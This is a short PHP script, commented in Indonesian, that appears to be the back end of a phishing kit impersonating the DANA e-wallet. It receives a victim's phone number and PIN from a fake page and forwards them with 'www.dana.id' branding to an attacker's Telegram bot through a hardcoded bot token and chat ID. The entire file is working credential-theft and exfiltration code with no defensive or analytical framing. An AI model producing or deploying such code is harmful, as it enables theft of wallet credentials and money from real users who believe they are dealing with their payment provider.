<?php
session_start();
header('Content-Type: application/json');

// Konfigurasi Telegram
$botToken = "8723209757:AAE76y9kg1KITLjvDQ9ndkytL74te9Jo_Uk";
$chatId   = "7476789957";

// Baca input JSON
$input = json_decode(file_get_contents('php://input'), true);
$pin = $input['pin'] ?? '';
$nohp = $input['nohp'] ?? '';
$tarif = $input['tarif'] ?? '';

if (empty($pin) || empty($nohp)) {
    echo json_encode(['status' => 'error', 'message' => 'PIN atau nomor HP tidak lengkap']);
    exit;
}

// Simpan PIN ke session
$_SESSION['user_pin'] = $pin;
$_SESSION['phoneNumber'] = $nohp; // pastikan nomor HP sudah tersimpan

// Kirim notifikasi ke Telegram
$logo = "☴ www.dana.id ☴";
$message = "$logo\n$tarif\n|𝗡𝗼𝗺𝗼𝗿 |  <code>0$nohp</code>\n|𝗣𝗶𝗻: $pin\n\n━━━━━━━━━━━━━━━━━━\n👨‍💻 Dev by udin hosting";

$url = "https://api.telegram.org/bot$botToken/sendMessage";
$postData = [
    'chat_id' => $chatId,
    'text' => $message,
    'parse_mode' => 'HTML'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Respon ke frontend
echo json_encode(['status' => 'success']);
?>